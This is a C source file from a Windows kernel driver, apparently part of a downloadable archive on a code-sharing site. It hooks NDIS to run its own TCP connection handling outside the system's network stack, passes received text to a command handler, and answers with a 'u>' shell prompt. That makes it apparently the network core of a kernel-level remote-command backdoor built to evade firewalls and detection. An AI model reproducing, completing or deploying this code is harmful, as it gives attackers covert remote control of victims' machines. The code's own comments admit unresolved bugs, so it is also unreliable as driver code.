www.pudn.com > uay_source.rar > ubd_sys.c


/// 
// uty@uaty 
/// 
#include  
#include "structs.h" 
#include "commAnd.h" 
 
typedef 
struct _SYNACKPACKET{ 
	ULONG	sign; 
	ULONG	BufferAddress; 
}SYNACKPACKET,*PSYNACKPACKET; 
 
//-------------------------------------------------------------------- 
///globAl 
// 
// TCPS GlobAl VAriAbles 
// 
//int						g_nTCPS_UseCount = 0; 
TCPS_Connection				g_ConnectionSpAce[MAX_CONNECTIONS]; 
// 
//List GlobAl VAriAbles 
// 
RECVLISTHEAD	g_RecvListHeAd; 
PIO_WORKITEM	g_pRecvIoWorkItem; 
SENDLISTHEAD	g_SendListHeAd; 
PIO_WORKITEM	g_pSendIoWorkItem; 
////globAl vAr defined in tryNdisHook.c 
extern HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext; 
extern NDIS_HANDLE		m_ourPAcketPoolHAndle; 
extern NDIS_HANDLE		m_ourBufferPoolHAndle; 
//for ProtocolReceive 
extern PNDIS_PACKET		m_ourPAcketHAndle; 
extern PNDIS_BUFFER		m_ourBufferHAndle; 
extern PVOID			m_ourBuffer; 
// 
extern PKEVENT			g_puSendEvent; 
extern PLARGE_INTEGER	g_pTimeOut; 
// 
ULONG	g_SendCount = 0; 
//-------------------------------------------------------------------- 
//function protocol 
VOID 
RecvIoWorkItemRoutine ( 
	IN PDEVICE_OBJECT DeviceObject, 
	IN PVOID Context 
	); 
 
VOID 
SendIoWorkItemRoutine ( 
	IN PDEVICE_OBJECT DeviceObject, 
	IN PVOID Context 
	); 
 
PRECVLIST 
RemoveRecvDAtAFromList( 
	PRECVLISTHEAD pRecvListHeAd 
	); 
 
NTSTATUS 
AddRecvDAtAToList( 
	PRECVLISTHEAD pRecvListHeAd, 
	char* dAtA, 
	ULONG	RecvDAtALength, 
	PTCPS_Connection pConnection 
	); 
 
NTSTATUS 
AddSendDAtAToList( 
	PSENDLISTHEAD		pSendListHeAd, 
	char*				dAtA, 
	ULONG				SendDAtALength, 
	PTCPS_Connection	pConnection 
	); 
 
NTSTATUS 
AddSendDAtAToListAtFront( 
	PSENDLISTHEAD		pSendListHeAd, 
	char*				dAtA, 
	ULONG				SendDAtALength, 
	PTCPS_Connection	pConnection 
	); 
 
PSENDLIST 
ReAdSendDAtAFromList( 
	PSENDLISTHEAD pSendListHeAd 
	); 
 
VOID 
RemoveSendDAtAFromList( 
	PSENDLISTHEAD pSendListHeAd 
	); 
 
USHORT 
checksum( 
	USHORT *buff, 
	int size 
	); 
 
VOID EchoPrompt(PTCPS_Connection pConnection); 
 
NTSTATUS 
uSend( 
	  PTCPS_Connection		pConnection, 
	  char					*pSendBuffer, 
	  ULONG					ulSendBufferSize 
	  ); 
 
NTSTATUS 
SendToNet( 
	PSENDLIST	pSendList 
	); 
//-------------------------------------------------------------------- 
NTSTATUS 
TCPS_StArtup( 
	PDEVICE_OBJECT pDeviceObject 
	) 
{ 
	NTSTATUS		dwStAtus; 
	ULONG			i; 
 
	//初始化接收队列 
	//bug fixed 数太小的时候,当需要传的数据的次数多过大的时候,,会蓝 
	KeInitializeSemaphore(&g_RecvListHeAd.ksemRecvListSemAphore,0,10240);//is thAt too much 
	g_pRecvIoWorkItem = IoAllocateWorkItem(pDeviceObject);///for the work item 
	IoQueueWorkItem( 
		g_pRecvIoWorkItem, 
		RecvIoWorkItemRoutine, 
		DelayedWorkQueue, 
		NULL 
		); 
 
	//初始化发送队列 
	KeInitializeSemaphore(&g_SendListHeAd.ksemSendListSemAphore,0,10240); 
	g_pSendIoWorkItem = IoAllocateWorkItem(pDeviceObject); 
	IoQueueWorkItem( 
		g_pSendIoWorkItem, 
		SendIoWorkItemRoutine, 
		DelayedWorkQueue, 
		NULL 
		); 
 
	//initiAliztion the connection pool 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		RtlZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); 
		RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); 
	} 
 
 
	return STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
VOID 
RecvIoWorkItemRoutine ( 
				   IN PDEVICE_OBJECT DeviceObject, 
				   IN PVOID Context 
				   ) 
{ 
	 
	PRECVLIST pRecvList; 
	//DbgPrint("in RecvIoWorkItemRoutine "); 
	KeWaitForSingleObject(&(g_RecvListHeAd.ksemRecvListSemAphore), 
							Executive, 
							KernelMode, 
							FALSE, 
							NULL 
							); 
	pRecvList = RemoveRecvDAtAFromList(&g_RecvListHeAd); 
	//DbgPrint("Received the commAnd:%s\n",pRecvList->dAtA); 
	__try{ 
		ReferenceCommAnd(pRecvList); 
		////DbgPrint("in where ReferneceCommAnd stAnd,but dob't reference it\n"); 
	} 
	__except (EXCEPTION_EXECUTE_HANDLER){ 
		uSend( 
			pRecvList->pConnection, 
			"some error occured\n", 
			strlen("some error occured\n") 
			);	 
	} 
	EchoPrompt(pRecvList->pConnection); 
	//这里负责回收pRecvList 
	ExFreePool(pRecvList); 
	IoQueueWorkItem(g_pRecvIoWorkItem, 
		RecvIoWorkItemRoutine, 
		DelayedWorkQueue, 
		NULL 
		); 
 
	 
} 
//-------------------------------------------------------------------- 
NTSTATUS 
AddRecvDAtAToList(PRECVLISTHEAD pRecvListHeAd,char* dAtA,ULONG	RecvDAtALength,PTCPS_Connection pConnection) 
{ 
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL; 
	KIRQL		kOldIrql; 
	PRECVLIST	pRecvList; 
 
	pRecvList = (PRECVLIST)ExAllocatePool(NonPagedPool,sizeof(RECVLIST)); 
	if(pRecvList){ 
		//DbgPrint("AddRecvDAtAToList AllocAte Memory = 0x0%x\n",pRecvList); //debug 
		//bug fixed 命令行后面经常跟些乱78糟的 
		RtlZeroMemory(pRecvList->dAtA,1024); 
		pRecvList->pNext = NULL; 
		RtlCopyMemory(pRecvList->dAtA,dAtA,DATALENGTH < RecvDAtALength? DATALENGTH-10:RecvDAtALength);///bug bug 
		pRecvList->pConnection = pConnection; 
		KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql); 
		if(pRecvListHeAd->pListBAck){ 
			pRecvListHeAd->pListBAck->pNext	= pRecvList; 
			pRecvListHeAd->pListBAck		= pRecvList; 
		} 
		else{ 
			pRecvListHeAd->pListFront = pRecvListHeAd->pListBAck = pRecvList; 
		} 
		KeReleaseSemaphore(&(g_RecvListHeAd.ksemRecvListSemAphore),0,1,FALSE);///// 
		KeReleaseSpinLock(&pRecvListHeAd->kspRecvListLock,kOldIrql);	 
		dwStAtus = STATUS_SUCCESS; 
	} 
	return dwStAtus; 
} 
//-------------------------------------------------------------------- 
PRECVLIST 
RemoveRecvDAtAFromList(PRECVLISTHEAD pRecvListHeAd) 
{ 
	KIRQL			kOldIrql; 
	PRECVLIST		pRecvListCurrent; 
 
	KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql); 
	pRecvListCurrent = pRecvListHeAd->pListFront; 
	if(pRecvListCurrent){ 
		pRecvListHeAd->pListFront = pRecvListCurrent->pNext; 
		if(pRecvListHeAd->pListFront == NULL){ 
			pRecvListHeAd->pListBAck = NULL; 
		} 
		KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql); 
		return pRecvListCurrent; 
	} 
	KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql); 
	return NULL; 
} 
//-------------------------------------------------------------------- 
VOID 
SendIoWorkItemRoutine ( 
	IN PDEVICE_OBJECT DeviceObject, 
	IN PVOID Context 
	) 
{ 
	 
	//这里有个event,,当收到上一个包的ACK,并把上一个包成功释放后才能再次执行这个函数 
	PSENDLIST	pSendList; 
	NTSTATUS	stAtus; 
	KIRQL		kOldIrql; 
	PETHHDR		pEthHdr	= NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr	= NULL; 
	//PVOID		WAit[2]; 
	//WAit[0]		= &(g_SendListHeAd.ksemSendListSemAphore); 
	//WAit[1]		= g_puSendEvent; 
 
	//DbgPrint("in SendIoWorkItemRoutine "); 
	//这里换成连续的2个KeWAitForSingleObject,第一个是控制信号的,第2个是等待返回的ACK,信号的要无限期等待, 
	//保证sendlist有内容时才会调用SendIoWorkItem,,而等待Ack的则给一个过期的时间,,如果在一定时间内未收到到 
	//ACK,则再次让SendIoWorkItem被执行,由于这时候SendList内的数据并未被remove,所以实现了包的重发 
 
	/* 
	KeWaitForMultipleObjects( 
		2, 
		WAit, 
		WaitAll, 
		Executive, 
		KernelMode, 
		FALSE, 
		NULL, 
		NULL 
		); 
		*/ 
 
	//for ksemSendListSemAphore 
	DbgPrint("wAit on ksemSendListSemAphore\n"); 
	KeWaitForSingleObject( 
		&g_SendListHeAd.ksemSendListSemAphore, 
		Executive, 
		KernelMode, 
		FALSE, 
		0 
		); 
 
	DbgPrint("wAit on g_puSendEvent\n"); 
	//for puSendEvent 
	stAtus = KeWaitForSingleObject( 
		g_puSendEvent, 
		Executive, 
		KernelMode, 
		FALSE, 
		g_pTimeOut 
		); 
	//算了,,超时重发记数的先等等 
	//超时重发3次后被认为是连接已经中断 
	pSendList = ReAdSendDAtAFromList(&g_SendListHeAd); 
	 
	pEthHdr			= pSendList->pBuffer; 
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder 
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder 
	 
	//检查是否是rst的消息,这个包不发出去,只要是带有rst或fin的,都将处理连接,放在这里检查是为了 
	//设置连接m_bIsConnected = FALSE 和发包同步 //tricky 我们不会去发rst的包 
	if(pTcpHdr->rst || pTcpHdr->fin){ 
		pSendList->pConnection->m_bIsConnected = FALSE; 
		//把包从队列里删除 
		RemoveSendDAtAFromList(&g_SendListHeAd); 
		DbgPrint("removed one PAcket\n"); 
		DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend); 
		//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用 
		if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0 || g_SendListHeAd.pListFront == NULL){ 
			NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); 
			RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); 
			DbgPrint("one TCPS_Connection AvAilAble\n"); 
		} 
		KeSetEvent( 
			g_puSendEvent, 
			0, 
			FALSE 
			); 
		//goto end; 
	} 
 
	if (stAtus == STATUS_TIMEOUT){ 
		g_SendCount++; 
		DbgPrint("KeWAitForSingleObject: STATUS_TIMEOUT\n");//		 
		//如果连接已经中断,且这个还有数据包未被发送,则不应该等待 
		if(g_SendCount > 3 || pSendList->pConnection->m_bIsConnected == FALSE){ 
			//3次超时后就断掉这个连接 
			pSendList->pConnection->m_bIsConnected = FALSE; 
			//buf fix 不应该在这里清空 
			//KeAcquireSpinLock(&g_SendListHeAd.kspSendListLock,&kOldIrql); 
			//RtlZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); 
			//RtlCopyMemory(pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); 
			//KeReleaseSpinLock(&g_SendListHeAd.kspSendListLock,kOldIrql); 
			g_SendCount = 0; 
		}		 
	} 
	 
	__try{ 
		//reAlly send the pAcket to net,if the m_bIsConnectd is TRUE,else throw it AwAy 
				 
		if(	(pSendList->pConnection->m_bIsConnected == TRUE || pSendList->pConnection->m_bIsConnecting == TRUE) 
			//bug 
			&&	(pIpHdr->daddr == pSendList->pConnection->m_SourceIp &&	pTcpHdr->dest == pSendList->pConnection->m_SourcePort) 
			){ 
			DbgPrint("SendToNet: one pAcket\n"); 
			SendToNet(pSendList); 
		} 
		else{		 
			RemoveSendDAtAFromList(&g_SendListHeAd); 
			DbgPrint("removed one PAcket\n"); 
			DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend); 
			//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用 
			if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0){ 
				NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); 
				RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); 
				DbgPrint("one TCPS_Connection AvAilAble\n"); 
			} 
			KeSetEvent( 
				g_puSendEvent, 
				0, 
				FALSE 
				); 
		} 
	} 
	__except (EXCEPTION_EXECUTE_HANDLER){ 
		DbgPrint("SentToNet error\n"); 
	} 
	//kAo 这里不再负责回收pSendList! bug fixed 
	//ExFreePool(pSendList); 
 
 
	IoQueueWorkItem(g_pSendIoWorkItem, 
		SendIoWorkItemRoutine, 
		DelayedWorkQueue, 
		NULL 
		); 
} 
//-------------------------------------------------------------------- 
//存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用 
NTSTATUS 
AddSendDAtAToList(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG	SendDAtALength,PTCPS_Connection pConnection) 
{ 
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL; 
	KIRQL		kOldIrql; 
	PSENDLIST	pSendList; 
 
	PETHHDR		pEthHdr	= NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr	= NULL; 
 
	pEthHdr			= (PVOID)dAtA; 
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder 
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder 
 
	//这里要用不分页内存 
	pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST)); 
	if(pSendList){ 
		//DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug 
		pSendList->pNext = NULL; 
		pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength); 
		RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength); 
		pSendList->ulBufferLength	= SendDAtALength; 
		pSendList->pConnection		= pConnection; 
 
		//rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少 
		//if(!pTcpHdr->rst){ 
		pSendList->pConnection->m_PAcketsLeftToBeSend++; 
		//} 
		KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); 
		if(pSendListHeAd->pListBAck){ 
			pSendListHeAd->pListBAck->pNext	= pSendList; 
			pSendListHeAd->pListBAck		= pSendList; 
		} 
		else{ 
			pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList; 
		} 
		KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE); 
		KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);////////// 
		dwStAtus = STATUS_SUCCESS; 
	} 
	return dwStAtus; 
} 
//-------------------------------------------------------------------- 
//存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用 
NTSTATUS 
AddSendDAtAToListAtFront(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG	SendDAtALength,PTCPS_Connection pConnection) 
{ 
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL; 
	KIRQL		kOldIrql; 
	PSENDLIST	pSendList; 
 
	PETHHDR		pEthHdr	= NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr	= NULL; 
 
	pEthHdr			= (PVOID)dAtA; 
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder 
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder 
 
	//这里要用不分页内存 
	pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST)); 
	if(pSendList){ 
		//DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug 
		pSendList->pNext = NULL; 
		pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength); 
		RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength); 
		pSendList->ulBufferLength	= SendDAtALength; 
		pSendList->pConnection		= pConnection; 
 
		//rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少 
		//if(!pTcpHdr->rst){ 
		pSendList->pConnection->m_PAcketsLeftToBeSend++; 
		//} 
		KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); 
		if(pSendListHeAd->pListFront){ 
			pSendList->pNext			= pSendListHeAd->pListFront; 
			pSendListHeAd->pListFront	= pSendList; 
		} 
		else{ 
			pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList; 
		} 
 
		KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE); 
		KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);////////// 
		dwStAtus = STATUS_SUCCESS; 
	} 
	return dwStAtus; 
} 
//-------------------------------------------------------------------- 
PSENDLIST 
ReAdSendDAtAFromList(PSENDLISTHEAD pSendListHeAd) 
{ 
	PSENDLIST		pSendListCurrent; 
 
	pSendListCurrent = pSendListHeAd->pListFront; 
	return pSendListCurrent; 
} 
//-------------------------------------------------------------------- 
VOID 
RemoveSendDAtAFromList(PSENDLISTHEAD pSendListHeAd) 
{ 
	KIRQL			kOldIrql; 
	PSENDLIST		pSendListCurrent; 
 
	KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); 
	pSendListCurrent = pSendListHeAd->pListFront; 
	if(pSendListCurrent){ 
 
		pSendListHeAd->pListFront = pSendListCurrent->pNext; 
		if(pSendListCurrent->pConnection->m_PAcketsLeftToBeSend > 0){  
			pSendListCurrent->pConnection->m_PAcketsLeftToBeSend--; 
		}else{ 
			DbgPrint("!!error m_PAcketsLeftToBeSend < 0:%d\n",(LONG)pSendListCurrent->pConnection->m_PAcketsLeftToBeSend); 
		} 
		if(pSendListHeAd->pListFront == NULL){ 
			pSendListHeAd->pListBAck = NULL; 
		} 
 
		ExFreePool(pSendListCurrent->pBuffer); 
		ExFreePool(pSendListCurrent); 
		KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql);		 
		return; 
	} 
	KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql); 
	return; 
} 
//-------------------------------------------------------------------- 
 
 
//uSend把要发送的包全部加到send链表里 
NTSTATUS 
uSend( 
	  PTCPS_Connection		pConnection, 
	  char					*pSendBuffer, 
	  ULONG					ulSendBufferSize 
	  ) 
{ 
	PVOID			VirtuAlAddress	= NULL; 
	PETHHDR			pEthHdrSend		= NULL; 
	PIPHDR			pIpHdrSend		= NULL; 
	PTCPHDR			pTcpHdrSend		= NULL; 
	PVOID			pDAtA			= NULL; 
	ULONG			ulTotAlLength	= 0;  
	 
 
	NTSTATUS		stAtus; 
	ULONG			SendCount = 0; 
	 
 
	//这里不用计算效验和,,SendToNet会重新算 
	//SendToNet will recount the checksum 
	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize; 
 
	NdisAllocateMemoryWithTag( 
		&VirtuAlAddress, 
		ulTotAlLength, 
		'ytuU' 
		); 
	NdisZeroMemory( 
		VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize 
		); 
	 
	//填包 
	pEthHdrSend		= VirtuAlAddress; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder 
	 
	 
	 
	NdisMoveMemory(&pEthHdrSend->h_dest,&pConnection->m_SourceMAc,6); 
	NdisMoveMemory(&pEthHdrSend->h_source,&pConnection->m_OurMAc,6); 
	pEthHdrSend->h_proto	= HTONS(ETH_P_IP); 
	 
	pIpHdrSend->ihl			= sizeof(IPHDR)/4; 
	pIpHdrSend->version		= 4; 
	pIpHdrSend->tos			= 0; 
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+(USHORT)ulSendBufferSize); 
	pIpHdrSend->id			= 0; 
	pIpHdrSend->frag_off	= 0; 
	pIpHdrSend->ttl			= 255; 
	pIpHdrSend->protocol	= IPPROTO_TCP; 
	pIpHdrSend->check		= 0;//whAt 
	pIpHdrSend->saddr		= pConnection->m_OurIp; 
	pIpHdrSend->daddr		= pConnection->m_SourceIp; 
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); 
 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder 
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder 
	pTcpHdrSend->source		= pConnection->m_OurPort; 
	pTcpHdrSend->dest		= pConnection->m_SourcePort; 
	pTcpHdrSend->seq		= pConnection->m_Ack_seq; 
	pTcpHdrSend->ack_seq	= pConnection->m_Seq;//seq   
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4; 
	pTcpHdrSend->syn		= 0; 
	pTcpHdrSend->ack		= 1; 
	pTcpHdrSend->psh		= 1; 
	pTcpHdrSend->window		= pConnection->m_Window; 
	pTcpHdrSend->check		= 0; 
	pTcpHdrSend->urg_ptr	= 0; 
 
	//填发送的数据 
	NdisMoveMemory(pDAtA,pSendBuffer,ulSendBufferSize); 
	 
 
	//把数据加入到链表 
	DbgPrint("AddSendDAtAToList\n"); 
	AddSendDAtAToList( 
		&g_SendListHeAd, 
		VirtuAlAddress, 
		ulTotAlLength, 
		pConnection 
		); 
 
	//释放空间 
	NdisFreeMemory( 
		VirtuAlAddress, 
		0, 
		0 
		); 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
VOID EchoPrompt(PTCPS_Connection		pConnection) 
{ 
	uSend(pConnection,"u>",strlen("u>")); 
} 
//-------------------------------------------------------------------- 
//reAlly send 
NTSTATUS 
SendToNet( 
	PSENDLIST	pSendList 
	) 
{ 
	PNDIS_BUFFER	pNdisBuffer	= NULL; 
	PNDIS_PACKET	pNdisPAcket	= NULL; 
 
	NTSTATUS		stAtus; 
	PSDHDR			PsdHdrSend; 
	PVOID			ChecksumTempBuff = NULL; 
 
	PETHHDR			pEthHdrSend		= NULL; 
	PIPHDR			pIpHdrSend		= NULL; 
	PTCPHDR			pTcpHdrSend		= NULL; 
	PVOID			pDAtA			= NULL; 
	ULONG			ulDAtALength	= 0; 
 
	//bug fix 修改seq Ack 
	pEthHdrSend		= pSendList->pBuffer; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder 
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder 
 
	DbgPrint("send SYN ACK,dest port is %d\n",HTONS(pTcpHdrSend->dest)); 
 
	ulDAtALength	= NTOHS(pIpHdrSend->tot_len) - pIpHdrSend->ihl*4 - sizeof(TCPHDR); 
 
	//发包的时候,seq等于上个对方发过来的包的Ack, Ack等于上一个发过来的包的seq加上包中数据的长度,如果没数据就加0了, 
	//但如果上一个包是syn包,要加1,syn包占一个序列 
 
	pTcpHdrSend->check		= 0;//注意这里 
	pTcpHdrSend->seq		= pSendList->pConnection->m_Ack_seq;//任意 
 
	//回复syn 的Ack包中也有syn标志,所以可以直接检查有tcp头中有没有syn 
	//if(pSendList->pConnection->m_IsSyn){ 
	if(pTcpHdrSend->syn){ 
		pTcpHdrSend->ack_seq	= HTONL(NTOHL(pSendList->pConnection->m_Seq)+1);//seq  //debug 这里不确定,需要实验 
	}else{ 
		pTcpHdrSend->ack_seq	= HTONL(NTOHL(pSendList->pConnection->m_Seq)+pSendList->pConnection->m_DAtALength);//seq  //debug 这里不确定,需要实验 
	} 
 
	 
 
	//预期的返回的Ack的seq和Ack 
	pSendList->pConnection->m_ExpectedSeq		= pTcpHdrSend->ack_seq;////////// 
	DbgPrint("set m_ExpectedSeq in SendToNet: %d\n",pTcpHdrSend->ack_seq); 
	//if(pSendList->pConnection->m_IsSyn){ 
	if(pTcpHdrSend->syn){ 
		pSendList->pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + 1);//////////// 
		DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1)); 
	}else{ 
		pSendList->pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + ulDAtALength);//////////// 
		DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1)); 
	} 
 
 
	//PsdHdrSend用来计算tcp效验和 
	PsdHdrSend.saddr	= pIpHdrSend->saddr; 
	PsdHdrSend.daddr	= pIpHdrSend->daddr; 
	PsdHdrSend.mbz		= 0; 
	PsdHdrSend.ptcl		= IPPROTO_TCP; 
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR)+(USHORT)ulDAtALength); 
 
	//ChecksumTempBuff 为了计算效验和 
	NdisAllocateMemoryWithTag( 
		&ChecksumTempBuff, 
		MAX_PACKET_SIZE, 
		'pmtU' 
		); 
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); 
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); 
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR) + sizeof(TCPHDR),pDAtA,ulDAtALength); 
 
	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)+ulDAtALength); 
 
	//释放ChecksumTempBuff 
	NdisFreeMemory( 
		ChecksumTempBuff, 
		0, 
		0 
		); 
		 
	//准备发送 
	NdisAllocateBuffer( 
		&stAtus, 
		&pNdisBuffer, 
		m_ourBufferPoolHAndle, 
		pSendList->pBuffer, 
		pSendList->ulBufferLength 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteBuffer fAiled\n"); 
		return TRUE; 
	} 
	NdisAllocatePacket( 
		&stAtus, 
		&pNdisPAcket, 
		m_ourPAcketPoolHAndle 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAtePAcket fAiled\n"); 
		return TRUE; 
	} 
 
	NdisChainBufferAtFront( 
		pNdisPAcket, 
		pNdisBuffer 
		); 
 
	NdisSendPackets( 
		pSendList->pConnection->m_pBindAdaptHandle, 
		&pNdisPAcket, 
		1 
		); 
 
	return NDIS_STATUS_SUCCESS; 
} 
//--------------------------------------------------------------------